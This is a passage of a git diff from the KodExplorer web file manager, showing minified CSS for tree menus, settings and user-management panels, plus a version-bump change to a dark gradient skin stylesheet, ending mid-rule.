li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:25px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:-1px;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}body{-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow-x:hidden;}body ul{margin:0;padding:0;}body li{margin:0;padding:0;}#body a{text-decoration:none;}#body input[type='text'],#body input[type='password']{padding-left:0.5em;outline:none;border:1px solid #bbb;border:1px solid #ddd;background:#fff;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;border-radius:3px;}#body input[type='text']:focus,#body input[type='password']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}#body .font-icon{padding-right:0.8em;display:inline-block;}#body .system_conennt .left_freame .left_content .role_box ul li.select{background:#80DBFF;}#body .system_conennt .left_freame .left_content .ztree li a{border:1px solid #fff;padding:0px;}#body .system_conennt .left_freame .left_content .ztree li a.hover{border:1px solid #63acff;color:#444;}#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode{color:#666;border:1px solid #63acff;}#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode.hover{color:#666;border:1px solid #63acff;}#body .panel{border-radius:0;margin-right:30px;}#body .panel-default>.panel-heading{background:#eee;padding:8px 15px;}#body .panel-title{font-size:1.1em;}#body .form_row{margin-bottom:5px;font-size:1.1em;width:100%;float:left;}#body .form_row:after{clear:both;}#body .form_row label{margin-right:20px;}#body .form_row input[type='radio']{display:inline-block;margin-right:10px;}#body .form_row input[type='text'],#body .form_row input[type='password']{display:inline-block;margin-right:10px;height:30px;width:200px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;color:#444;border-radius:3px;}#body .form_row input[type='text']:focus,#body .form_row input[type='password']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}#body .form_row .setting_title{float:left;width:100px;height:30px;padding-top:5px;}#body .form_row .setting_content{float:left;margin-left:20px;}#body .form_row .setting_content .desc{width:120px;}#body .form_row .font-icon{padding:0;}#body .form_row .file_select_input input{width:500px;}#body .form_row .file_select_input .path_select{padding:1px 10px;margin-left:-16px;height:30px;border-top-left-radius:0;border-bottom-left-radius:0;margin-top:-3px;margin-top:-6px \9\0;line-height:30px;}#body .form_row i{padding-left:5px;color:#777;font-size:12px;font-style:normal;display:inline-block;padding-top:5px;}#body .form_row.from_row_submit{background:#eee;margin:0;border-top:1px solid #ddd;padding:15px 0px 15px 0px;}#body .form_row.from_row_submit .setting_content{margin-left:10px;}#body .form_row.from_row_submit .btn{padding:4px 2em;margin-left:10px;}#body .system_setting .panel{margin-top:10px;}#body .system_setting .panel-body{padding:0px;padding-top:20px;}#body .system_setting .form_row{padding:5px 0px 5px 0px;}#body .system_setting .form_row .setting_title{width:150px;margin-left:20px;}#body .system_setting .form_row input[type='text']{display:block;float:left;width:300px;font-weight:200;}#body .system_setting .form_row label{padding-right:20px;line-height:28px;margin:0;}#body .system_setting .form_row label input:focus{box-shadow:none;}#body .system_setting .form_row.from_row_submit{background:#eee;margin:0;border-top:1px solid #ddd;padding:15px 0px 15px 0px;}#body .system_setting .form_row.from_row_submit .setting_content{margin-left:10px;}#body .system_setting .form_row.from_row_submit .btn{padding:4px 2em;margin-left:10px;}#body .setting_tools_right{position:absolute;right:30px;top:27px;}#body .setting_tools_right .version_vip{display:inline-block;float:right;right:120px;top:26px;text-align:center;padding:0px 10px;height:24px;line-height:24px;border-radius:3px;}#body .setting_tools_right .system_setting_more{margin-left:10px;}#body .color_default{position:absolute;left:355px;margin-top:45px;width:270px;border-radius:6px;box-shadow:0 0 20px #ddd inset;}#body .color_default .color_list{width:40px;height:40px;float:left;box-shadow:0 0 10px #ddd;margin:7px;border-radius:20px;cursor:pointer;}#body .color_default .color_list:hover{box-shadow:0 0 10px rgba(0,0,0,0.5);}#body .ztree{padding:5px 5px;}#body .menu_left{position:fixed;z-index:10;background:#f9f9f9;left:0;height:100%;width:18%;border-right:1px solid #ddd;margin-left:-1px;}#body .menu_left h1{text-align:left;color:#666;padding:15px 20px 10px 30px;font-size:35px;font-weight:800;}#body .menu_left .setting a{height:40px;line-height:40px;text-decoration:none;box-sizing:border-box;text-indent:10px;color:#666;display:block;overflow:hidden;cursor:pointer;text-transform:capitalize;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;font-size:15px;}#body .menu_left .setting a:hover{background:#f3f3f3;}#body .menu_left .setting a.selected{background:#ddd;color:#000;border-left:5px solid #EA533F;padding-left:10px;}#body .randomImage{width:25px;height:25px;margin-left:15px;cursor:pointer;}#body .main{position:absolute;left:18%;width:82%;height:93%;margin:30px 0 0 10px;}#body .main .h1 .font-icon{padding-right:16px;}#body .main div.h1{font-weight:400;color:#666;padding-bottom:8px;margin:0;font-size:22px;}#body .main .savebox{border-top:1px solid #eee;margin-bottom:10px;}#body .main .savebox a.save{margin-left:5px;margin-top:5px;padding:4px 20px;}#body .main .list{float:left;width:140px;height:115px;margin-right:10px;margin-bottom:10px;border:1px solid #ddd;background:#fff;cursor:pointer;border-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}#body .main .list .ico{width:120px;height:80px;margin:10px;text-align:center;}#body .main .list .theme{margin:5px 10px;}#body .main .list .info{text-align:center;color:#666;margin:0px;margin-top:0px;font-size:1em;height:24px;line-height:24px;border-top:1px solid #eee;background:rgba(0,0,0,0.05);overflow:hidden;}#body .main .list .ico img{max-width:100%;height:100%;}#body .main .list.this{border:1px solid #63acff;background-color:#c9e2ff;}#body .main .list.this .info{color:#444;border-top:1px solid #c9e2ff;}#body .main .list.listhover{border:1px solid #63acff;}#body .main .content{word-break:break-all;color:#448;}#body .main .content h2{border-bottom:1px dashed #eef;padding-bottom:5px;margin-bottom:5px;font-weight:400;font-size:1.25em;}#body .main .content p{margin-left:5px;text-indent:2em;margin-bottom:8px;color:#666;font-size:1em;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}#body .main .content .box{color:#555;clear:both;color:#666;}#body .main .content .box .title{color:#444;border-bottom:1px dashed #ddd;font-size:21px;margin-bottom:10px;margin-top:10px;}#body .main .content .box .title span{border-bottom:1px solid #aaa;display:inline-block;margin-bottom:-1px;text-align:center;padding:5px 10px;float:none;width:auto;}#body .main .content .box p{line-height:1.7em;text-indent:2em;padding:3px;margin:0;}#body .main .content .box p b{padding-right:8px;}#body .main .content .box p i{padding-right:10px;}#body .main .nav a{display:block;float:left;padding:4px 2em;background:#eee;border:1px solid #ddd;margin-bottom:-1px;margin-left:-1px;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;color:#666;}#body .main .nav a:hover,#body .main .nav a.this{background:#666;color:#444;border:1px solid #666;border-left-color:#666;color:#fff;}#body .main .member input{display:inline-block;width:45px;margin-left:2px;}#body .main .member span{padding-left:10px;}#body .main .member select{padding:3px 5px;font-family:"微软雅黑";color:#666;}#body .main .member .info{background:#efe;padding:6px 10px;color:#8a8;border:#ccc 1px dotted;margin-top:10px;}#body .main .member .edit_role{color:#666;}#body .main .member .edit_role:hover{border-bottom:1px solid #666;}#body .main .together{margin-top:-1px;border-bottom:1px solid #eee;padding:5px 0 0 0px;}#body .main .together .title{float:left;width:80px;height:28px;margin:5px;color:#333;}#body .main .together .title i{padding-left:5px;font-style:normal;}#body .main .together span.text{color:#bbb;font-size:1em;padding-left:10px;}#body .main .together.input input{width:40%;margin-left:5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:26px;line-height:26px;}#body .main .together.input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}#body .main .group_editor .tag{height:27px;line-height:30px;margin:2px 4px;padding:0px 8px;text-decoration:none;color:#666;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;display:block;float:left;border:1px solid #eee;background:#fff;}#body .main .group_editor .tag input{border:none;vertical-align:initial;display:inline-block;min-height:12px;margin-right:6px;}#body .main .group_editor .tag:hover{color:#63acff;border-color:rgba(99,172,255,0.7);}#body .main .group_editor .tag.this{border-color:#63acff;color:#63acff;background:#ffffff;}#body .main .group_editor .tag span{cursor:pointer;}#body .main .group_editor .together a.button{margin:0 0 0 10px;}#body .alert{position:absolute;right:30px;left:0px;margin-top:-15px;}#body .main .save{width:60px;margin-top:10px;}#body .main .content .title span{border-bottom:2px solid #bbb;}#body .main .panel{margin-left:-1px;}#body .main .panel table .title{font-size:1.15em;}#body .main .panel table .button{margin-left:0px;}#body .main .panel table .title span{border:none;}#body .main .panel table .menu_list .name input{width:90%;font-weight:400;}#body .main .panel table .menu_list .path input{width:90%;font-weight:400;}#body .menu_list{color:#666;}#body .menu_list td span{display:none;}#body .menu_list td label{float:right;margin-right:8px;line-height:34px;padding-top:0px;}#body .menu_list td label input{margin-right:5px;width:initial;}#body .menu_list td.url input[type=text]{width:50% !important;float:left;margin-top:5px;}#body .menu_system td input[type='text']{display:none !important;}#body .menu_system td span{display:inline !important;}#body .menu_system .move_del{display:none !important;}#body .menu_hidden{opacity:0.5;}#body .setting_menu table tr td.url{line-height:30px;}#body .save{width:auto;}#body .main .select table a.button{padding:0 8px;}#body input[type="radio"]{width:auto;border:none;}#body .setting_menu{margin-left:-1px;}#body table{font-size:1em;color:#888;width:100%;margin:0px;border:none;}#body table tr{border-bottom:1px solid #eee;background:#fff;height:30px;}#body table tr input[type='text']{display:block;width:80%;color:#888;height:24px;}#body table tr.title{background:#fff;color:#224;line-height:2.5em;height:2.5em;}#body table tr.title td{border-bottom:1px solid #eee;font-weight:800;}#body table tr.title span{color:#999;font-size:1em;padding-left:4px;font-weight:400;}#body table tr td{border-bottom:1px solid #eee;line-height:2.5em;height:2.5em;padding-left:3%;border-right:1px solid #eee;}#body table tr td.name{width:30%;}#body table tr td.name,#body table tr td.path{border-right:1px solid #eee;}#body table tr td.action{line-height:1.3em;}#body table tr td.action a{margin-right:5px;}#body table tr td .font-icon{padding-right:0em;}#body a.add{display:block;text-align:center;text-decoration:none;background:#eee;line-height:25px;height:25px;color:#444;box-shadow:none;}#body a.add:hover{background:#def;}#body .system_menu_save{padding:4px 2em;margin-top:20px;}#body .create_app{margin:0;display:block;position:absolute;right:21px;cursor:pointer;}#body .app_menu_left{min-width:130px;width:130px;}#body .app_menu_left .setting li.selected{padding-left:12px;}div#body div.app_list .app-list .app_li{border:1px solid #ddd;border-radius:0px;box-shadow:0 2px 7px #f6f6f6;}body.setting_page a.font-icon-label{color:#698ebf;font-size:20px;width:35px;text-decoration:none;padding:0;display:inline-block;text-align:center;border-radius:3px;background:#E9F3F9;}body.setting_page a.font-icon-label:hover{background:#698ebf;color:#fff;}body.setting_page a.font-icon-label .font-icon{padding:0 !important;}body.setting_page .select_drop_menu.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle),body.setting_page .button_aciton_muti.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-radius:2px;}body.setting_page .select_drop_menu ul.dropdown-menu,body.setting_page .button_aciton_muti ul.dropdown-menu{border:1px solid rgba(0,0,0,0.15);box-shadow:0 4px 30px rgba(0,0,0,0.2);}body.setting_page .select_drop_menu ul.dropdown-menu li>a,body.setting_page .select_drop_menu ul.dropdown-menu li>a,body.setting_page .button_aciton_muti ul.dropdown-menu li>a,body.setting_page .button_aciton_muti ul.dropdown-menu li>a{font-size:13px;padding:3px 30px;color:#666;}body.setting_page .select_drop_menu ul.dropdown-menu li>a:focus,body.setting_page .select_drop_menu ul.dropdown-menu li>a:hover,body.setting_page .button_aciton_muti ul.dropdown-menu li>a:focus,body.setting_page .button_aciton_muti ul.dropdown-menu li>a:hover{background:#63acff;color:#fff;}body.setting_page .aui_title{font-size:1em;}body.setting_page .label-info{color:#698ebf;background:#E9F3F9;font-weight:400;font-style:12px;}.share_dialog .space_info_bar{margin:0 auto;margin-top:5px;}.share_dialog .label-default{background-color:#bbb;}.share_dialog .space_info_bar .space_process .space_process_use{background-color:#f00;}.share_dialog .select_drop_menu button.btn{width:150px;height:25px;}.share_dialog .select_drop_menu .selected{background-color:#def;}.share_dialog .select_parent_content .btn{width:140px;}.share_dialog .select_parent_content .icon-group{color:#FC913F;}.share_dialog .btn-default{background:#fefefe;background-image:none;filter:none;padding:2px 6px;}.share_dialog .dlg_group_display{width:300px;clear:both;position:relative;left:90px;top:-30px;margin-bottom:-30px;}.share_dialog .dlg_group_display .cell span.label{float:left;margin:4px 8px 4px 0;font-size:1em;}body.setting_page .ztree a{border:none;padding-left:3px;}body.setting_page .ztree a:hover{border:none;}body.setting_page .ztree li a.curSelectedNode{color:#fff;}body.setting_page .ztree .sub_menu{float:right;display:none;line-height:20px;padding-right:7px;font-size:1.15em;color:#ddd;}body.setting_page .ztree .hover .sub_menu{display:inline-block;color:#666;}body.setting_page .ztree .curSelectedNode .sub_menu,body.setting_page .ztree .hover.curSelectedNode .sub_menu{display:inline-block;color:#fff;}textarea#name{width:157px;height:80px;border:1px solid #ddd;font-size:13px;border-radius:3px;outline:none;}textarea#name:focus{border-color:#75a1f0;box-shadow:0 0 4px #75a1f0;}body.setting_page .select_parent_content .ztree{position:absolute;left:110px;width:160px;margin-top:-2px;background-color:#fff;border:1px solid #ccc;overflow-y:auto;height:250px;}body.setting_page .select_parent_content .ztree .sub_menu,body.setting_page .select_parent_content .ztree .curSelectedNode .sub_menu{opacity:0.01;filter:alpha(opacity=1);}#body .system_conennt{position:absolute;border:1px solid #ddd;box-shadow:0 0 5px #ddd;bottom:10px;right:30px;top:38px;left:0px;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}#body .system_conennt .group_title_span{text-decoration:none;color:#428bca;}#body .system_conennt .left_freame{position:absolute;bottom:0px;top:0px;overflow:auto;width:180px;background:#FEFEFF;border-right:1px solid #ddd;}#body .system_conennt .left_freame .left_header{position:fixed;}#body .system_conennt .left_freame .left_header .tab{width:90px;margin-left:-1px;text-align:center;float:left;height:30px;cursor:pointer;line-height:30px;border:1px solid #d2d2d2;border-top:none;border-right:none;background:#DAE9FD;}#body .system_conennt .left_freame .left_header .tab.this{border-color:1px solid #FEFEFF;border-bottom:none;color:#555;background:#FEFEFF;font-weight:800;}#body .system_conennt .left_freame .left_content{margin-top:35px;}#body .system_conennt .left_freame .left_content .role_box{padding:10px 10px;}#body .system_conennt .left_freame .left_content .role_box ul{list-style:none;}#body .system_conennt .left_freame .left_content .role_box ul li{border-radius:3px;height:30px;line-height:30px;padding-left:20px;margin-bottom:3px;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}#body .system_conennt .left_freame .left_content .role_box ul li:hover{background:#eee;}#body .system_conennt .left_freame .left_content .role_box ul li.select{background:#63acff;color:#fff;}#body .system_conennt .left_freame .left_content .role_box .role_cell .sub_menu{float:right;line-height:30px;height:30px;width:30px;text-align:center;}#body .system_conennt .left_freame .left_content .ztree li a{border-radius:3px;}#body .system_conennt .left_freame .left_content .ztree li a.hover{border:1px solid #eee;}#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode,#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode.hover{color:#fff;}#body .system_conennt .right_frame{position:absolute;bottom:0px;top:0px;left:175px;right:0px;overflow:auto;padding:10px 10px 10px 20px;}#body .system_conennt .right_frame .group_title{font-size:25px;padding:8px 0;}#body .system_conennt .right_frame .group_title .group_title_span{border-bottom:2px solid;padding-bottom:3px;}#body .system_conennt .right_frame .group_title .group_size{position:absolute;margin-left:10px;border-radius:2px;font-size:12px;background-color:#f6f6f6;margin-top:5px;padding:6px 10px 0px;}#body .system_conennt .right_frame .user_tool_bar{background:#eee;border-radius:3px;padding:7px 0px;margin:10px 0px;}#body .system_conennt .right_frame .user_tool_bar .dropdown-menu{min-width:100px;}#body .system_conennt .right_frame .user_list table{border:none;border-top:1px solid #ddd;border-bottom:1px solid #ddd;}#body .system_conennt .right_frame .user_list table tr{background:#fff;border:none;border-bottom:1px solid #eee;color:#666;}#body .system_conennt .right_frame .user_list table tr.title,#body .system_conennt .right_frame .user_list table tr.title:hover{background:#fafafa;border-top:1px solid #ddd;font-size:1em;color:#666;}#body .system_conennt .right_frame .user_list table tr:hover,#body .system_conennt .right_frame .user_list table tr.selected{background:#fff9ed;cursor:default;}#body .system_conennt .right_frame .user_list table tr.unuse{opacity:0.3;filter:alpha(opacity=30);}#body .system_conennt .right_frame .user_list table tr td{height:30px;line-height:30px;padding:0;border-right:none;width:auto;}#body .system_conennt .right_frame .user_list table tr td .space_info_bar{height:25px;}#body .system_conennt .right_frame .user_list table tr td .space_process{margin-top:6px;margin-bottom:-6px;}#body .system_conennt .right_frame .user_list table tr td .space_info{width:110%;overflow:hidden;}#body .system_conennt .right_frame .user_list table tr td.select{width:30px;padding-left:10px;}#body .system_conennt .right_frame .user_list table tr td.select input{position:relative;}#body .system_conennt .right_frame .user_list table tr td.select input:focus{box-shadow:none;}#body .system_conennt .right_frame .user_list table tr td.select:hover{background:#f6f6f6;}#body .system_conennt .right_frame .user_list table tr td.name{width:95px;}#body .system_conennt .right_frame .user_list table tr td.name a{border-bottom:1px solid;padding:2px;}#body .system_conennt .right_frame .user_list table tr td.role{width:auto;min-width:90px;}#body .system_conennt .right_frame .user_list table tr td.space{width:120px;}#body .system_conennt .right_frame .user_list table tr td.group{width:auto;}#body .system_conennt .right_frame .user_list table tr td.action{width:auto;}#body .system_conennt .right_frame .user_list table tr td .label-small{font-size:10px;font-style:italic;color:#698ebf;background:#E9F3F9;padding:1px;border-radius:2px;}body.setting_page .select_user_group{padding:20px;font-size:1em;}body.setting_page .select_user_group .title_info .title{display:block;width:210px;float:left;padding-bottom:10px;}body.setting_page .select_user_group .title_info .title_right{margin-left:50px;}body.setting_page .select_user_group .right_content,body.setting_page .select_user_group .center_action,body.setting_page .select_user_group .left_content{border:1px solid #eee;float:left;width:235px;height:300px;}body.setting_page .select_user_group .left_content{margin:0px !important;overflow:auto;}body.setting_page .select_user_group .center_action{width:25px;border:none;}body.setting_page .select_user_group .center_action i{width:30px;height:30px;display:block;margin-top:150px;font-size:22px;color:#999;text-align:center;}body.setting_page .select_user_group .select_group_right{padding:0;list-style:none;}body.setting_page .select_user_group .select_group_right .group_self{height:30px;line-height:30px;border-radius:2px;}body.setting_page .select_user_group .select_group_right .group_self:hover{background:#def;}body.setting_page .select_user_group .select_group_right .group_self .title{color:#1e5494;padding-left:5px;}body.setting_page .select_user_group .select_group_right .group_self .icon-group{padding-right:10px;}body.setting_page .select_user_group .select_group_right .group_self .remove{float:right;cursor:pointer;height:30px;line-height:30px;width:22px;font-size:1.25em;text-align:center;color:#aaa;}body.setting_page .select_user_group .select_group_right .group_self .remove:hover{color:#f33;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li{padding-left:1em;font-size:13px;height:24px;line-height:24px;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li.selected{background:#337ab7;color:#fff;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li.selected:hover{background:#337ab7;color:#fff;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li:hover{background:#def;color:#337ab7;}body.setting_page .select_user_group .group_select_box{font-size:1.1em;padding-right:2px;color:#aaa;position:relative;top:1px;display:inline-block;width:16px;}body.setting_page .select_user_group .group_select_box:before{content:"\f096";}body.setting_page .select_user_group #user_group_select a.this .group_select_box:before{content:"\f046";color:#3B99FC;}body.setting_page .select_user_group .select_drop_menu{margin-top:2px;float:right;}body.setting_page .select_user_group .select_drop_menu .btn{padding:0px 0.5em;margin-top:3px;} +/* ver 3.36(2016-12-30) [build 1483112853.511] */ \ No newline at end of file diff --git a/static/style/skin/diy.css b/static/style/skin/diy.css index a8b161e..a4b9f79 100755 --- a/static/style/skin/diy.css +++ b/static/style/skin/diy.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476941.2394] */ +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112854.3621] */ .text_color_set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full_background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background:#000000;background-image:-webkit-linear-gradient(180deg,#480552,#000000);background-image:-moz-linear-gradient(180deg,#480552,#000000);background-image:-o-linear-gradient(180deg,#480552,#000000);background-image:-ms-linear-gradient(180deg,#480552,#000000);background-image:linear-gradient(180deg,#480552,#000000);-pie-background:linear-gradient(to 180deg,#480552,#000000);background-size:100% 100%;} body .full_background:before{ width:100%;height:100%;display:block;content:" ";filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background:#000000;background-image:-webkit-linear-gradient(180deg,#480552,#000000);background-image:-moz-linear-gradient(180deg,#480552,#000000);background-image:-o-linear-gradient(180deg,#480552,#000000);background-image:-ms-linear-gradient(180deg,#480552,#000000);background-image:linear-gradient(180deg,#480552,#000000);-pie-background:linear-gradient(to 180deg,#480552,#000000);background-size:100% 100%;filter:url(blur.svg#full_background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body a{ color:rgba(255,255,255,0.8);} body .btn .font-icon{ color:rgba(255,255,255,0.8);} body .aui_outer .btn .font-icon, body .edit_main .btn .font-icon{ color:#999;} body .common_footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.8);border-top:1px solid rgba(234,234,234,0.15);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;padding:0 15px 0 20px;} body .aui_outer{ *border:1px solid #ccc;border:1px solid #ccc \0/IE9;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_state_focus .aui_outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui_title{ border-radius:0;} body .aui_state_focus .aui_title, body .aui_title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background:#000000;background-image:-webkit-linear-gradient(200deg,#480552,#000000);background-image:-moz-linear-gradient(200deg,#480552,#000000);background-image:-o-linear-gradient(200deg,#480552,#000000);background-image:-ms-linear-gradient(200deg,#480552,#000000);background-image:linear-gradient(200deg,#480552,#000000);-pie-background:linear-gradient(to 200deg,#480552,#000000);text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar_menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar_menu, body .topbar .content .topbar_menu:hover, body .topbar .content .topbar_menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share_title, body .topbar .content .share_info, body .topbar .content .share_info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top_right div.share_info_user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_bg{ background:#666;} body .frame-main .frame-right .file_select_info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom_box .cell:hover{ background:rgba(234,234,234,0.16);} body .user_space_info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group_space_use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #history_back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input_style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ 